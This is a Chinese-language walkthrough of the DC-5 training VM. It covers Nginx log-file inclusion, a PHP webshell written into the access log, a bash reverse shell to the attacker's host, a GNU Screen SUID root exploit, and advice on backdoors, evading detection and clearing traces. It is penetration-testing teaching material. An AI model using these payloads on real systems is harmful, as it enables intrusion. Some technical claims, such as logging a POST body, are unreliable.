从留言板到Root权限:手把手复现DC-5靶机中的Nginx日志文件包含漏洞
从留言板到Root权限:DC-5靶机渗透测试中的Nginx日志文件包含漏洞实战解析
在网络安全领域,渗透测试是检验系统防御能力的有效手段。DC系列靶机作为经典的渗透测试学习环境,其第五版(DC-5)特别设计了一个基于Nginx日志文件包含漏洞的攻击链。本文将深入剖析如何从一个看似普通的留言板功能出发,通过细致观察和逻辑推理,最终获取系统最高权限的全过程。
1. 环境侦察与初步分析
渗透测试的第一步永远是信息收集。面对DC-5靶机,我们需要先建立基本认知框架:
nmap -sS -A 192.168.1.8 -p 1-65535典型扫描结果会显示两个关键端口:
- 80端口:运行着Nginx 1.6.2的Web服务
- 111端口:提供rpcbind服务
通过浏览器访问80端口,会发现一个具有留言功能的简单页面。这里有几个值得注意的细节特征:
- 每次提交留言后,页面底部显示的时间戳都会变化
- 留言成功后会跳转到thankyou.php页面
- 页面源代码中可以看到footer.php的引用
提示:时间戳的异常变化往往是动态内容加载的标志,这可能是文件包含漏洞的线索。
使用dirsearch进行目录扫描:
dirsearch -u http://192.168.1.8 -e php -r扫描结果中,footer.php文件特别值得关注,因为:
- 它不是常见的静态页脚文件
- 每次刷新都会导致时间戳变化
- 它被thankyou.php显式包含
2. 文件包含漏洞的发现与验证
文件包含漏洞通常分为本地文件包含(LFI)和远程文件包含(RFI)。在DC-5环境中,我们需要验证是否存在LFI漏洞。
基本测试方法是在URL参数中尝试包含系统文件:
http://192.168.1.8/thankyou.php?file=/etc/passwd如果成功显示系统用户列表,则确认存在LFI漏洞。但单纯的读取文件只是开始,我们需要寻找写入和执行代码的方法。
Nginx日志文件包含攻击原理:
| 组件 | 路径 | 可写性 | 包含可行性 |
|---|---|---|---|
| 错误日志 | /var/log/nginx/error.log | 可写 | 高 |
| 访问日志 | /var/log/nginx/access.log | 可写 | 高 |
| 其他日志 | 视配置而定 | 可能 | 视权限而定 |
通过Burp Suite拦截留言提交请求,我们可以将PHP代码注入到日志中:
POST /submit.php HTTP/1.1 Host: 192.168.1.8 Content-Type: application/x-www-form-urlencoded Content-Length: 35 message=<?php system($_GET['cmd']); ?>然后通过文件包含执行日志中的代码:
http://192.168.1.8/thankyou.php?file=/var/log/nginx/access.log&cmd=id3. 建立持久化访问
获取代码执行能力后,下一步是建立稳定的控制通道。常用的方法包括:
Webshell上传:
- 直接写入一句话木马文件
- 使用蚁剑/中国菜刀等工具连接
反向Shell建立:
# Kali监听端 nc -lvnp 4444 # 靶机执行 bash -c 'bash -i >& /dev/tcp/192.168.1.9/4444 0>&1'交互式Shell升级:
python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm
注意:在实际环境中,建议使用加密的通信通道,如mkfifo配合openssl,避免流量被检测。
4. 权限提升与后渗透
获取初始立足点后,我们需要进行权限提升。DC-5靶机中设置了经典的SUID提权路径。
SUID提权步骤:
查找具有SUID权限的可执行文件:
find / -perm -u=s -type f 2>/dev/null发现screen-4.5.0存在已知漏洞:
- CVE-2017-5618
- 影响GNU Screen 4.5.0及以下版本
利用漏洞脚本提权:
# 本地准备exploit cp /usr/share/exploitdb/exploits/linux/local/41154.sh . # 分割脚本为三部分 # 编译各部分代码 gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c # 上传到靶机执行 chmod +x dc5.sh ./dc5.sh
提权后操作:
- 收集系统信息
- 查找敏感文件
- 建立持久化后门
- 清除攻击痕迹
5. 漏洞原理深度分析
理解攻击背后的原理比单纯复现更重要。让我们深入分析几个关键技术点:
Nginx日志文件包含的本质:
日志记录机制:
- Nginx默认记录客户端请求到access.log
- 记录错误信息到error.log
- 日志文件通常对Web进程可写
PHP包含特性:
include($_GET['file']);- 当参数未严格过滤时,可以包含任意文件
- 包含日志文件时,其中的PHP代码会被执行
攻击条件组合:
- 存在文件包含漏洞
- 能够向可包含文件写入内容
- 包含的文件内容会被解析执行
防御措施对比:
| 攻击环节 | 防御方法 | 有效性 |
|---|---|---|
| 文件包含 | 禁用allow_url_include | 高 |
| 严格过滤包含路径 | 中高 | |
| 日志注入 | 日志文件与Web目录分离 | 高 |
| 设置日志文件不可执行 | 中 | |
| 权限提升 | 及时更新软件版本 | 高 |
| 最小权限原则 | 高 |
6. 渗透测试方法论反思
通过DC-5靶机的实战,我们可以总结出一些通用的渗透测试思路:
观察细微异常:
- 时间戳变化
- 非预期行为
- 隐藏的功能点
假设验证循环:
- 提出漏洞假设
- 设计验证实验
- 分析结果并迭代
攻击链构建:
- 从信息收集到漏洞利用
- 从初始访问到权限提升
- 从单点突破到全面控制
在实际测试中,保持耐心和系统性思维往往比掌握大量工具更重要。每个发现都应该被记录和交叉验证,看似无关的线索可能在后期串联成完整的攻击路径。
